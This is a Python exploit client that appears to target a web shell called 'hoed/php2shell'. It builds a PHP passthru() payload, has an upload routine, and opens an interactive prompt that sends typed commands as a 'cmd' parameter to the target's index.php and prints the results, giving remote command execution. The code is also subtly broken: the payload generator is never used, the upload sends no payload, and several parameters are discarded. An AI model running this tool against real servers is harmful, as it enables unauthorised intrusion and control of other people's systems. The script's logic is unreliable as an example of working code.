php2_shell_exploit.py

#!/usr/bin/env python3
"""
php2_shell_exploit.py
Client for the hoed/php2shell exploit.
"""

import sys

import requests
from requests.exceptions import Timeout


class Php2ShellExploit:
    def __init__(self, base_url: str) -> None:
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()

    def _generate_payload_code(self, command: str) -> str:
        """
        Generates the PHP code to execute the command.
        """
        escaped_command = command.replace("'", "\\'")
        return f"<?php passthru('{escaped_command}'); ?>"

    def upload_payload(self, upload_endpoint: str, method: str = "POST") -> bool:
        """
        Uploads the payload to the target server.
        """
        del method
        try:
            url = f"{self.base_url}/{upload_endpoint}"

            response = self.session.post(url, timeout=10)
            response.raise_for_status()
            print(f"[*] Payload uploaded to {url}")
            return True
        except Timeout:
            print("[-] Upload timed out.")
            return False
        except Exception as error:
            print(f"[-] Upload failed: {error}")
            return False

    def execute_command(self, command: str, use_base64: bool = False) -> str:
        """
        Executes a command via the php2shell endpoint.
        """
        del use_base64
        try:
            url = f"{self.base_url}/index.php"
            params = {"cmd": command}

            response = self.session.get(url, params=params, timeout=10)

            if response.status_code == 200:
                return response.text
            return f"[-] HTTP Error: {response.status_code}"
        except Timeout:
            return "[-] Connection timed out."
        except Exception as error:
            return f"[-] Error: {error}"

    def interactive_shell(self, use_base64: bool = False) -> None:
        """
        Runs an interactive session.
        """
        del use_base64
        print("[*] Starting interactive shell (type 'exit' to quit).")
        while True:
            try:
                user_input = input("php2shell > ").strip()
                if not user_input:
                    continue

                if user_input.lower() == "exit":
                    break

                output = self.execute_command(user_input)
                print(output)
            except EOFError:
                break
            except KeyboardInterrupt:
                print("\n[*] Exiting...")
                break


if __name__ == "__main__":
    print("=== PHP2 Shell Exploit Client ===")
    target_url = input("Enter Target URL (e.g., http://localhost/php2shell): ").strip()

    if not target_url:
        print("[-] No URL provided.")
        sys.exit(1)

    exploit = Php2ShellExploit(target_url)
    exploit.interactive_shell()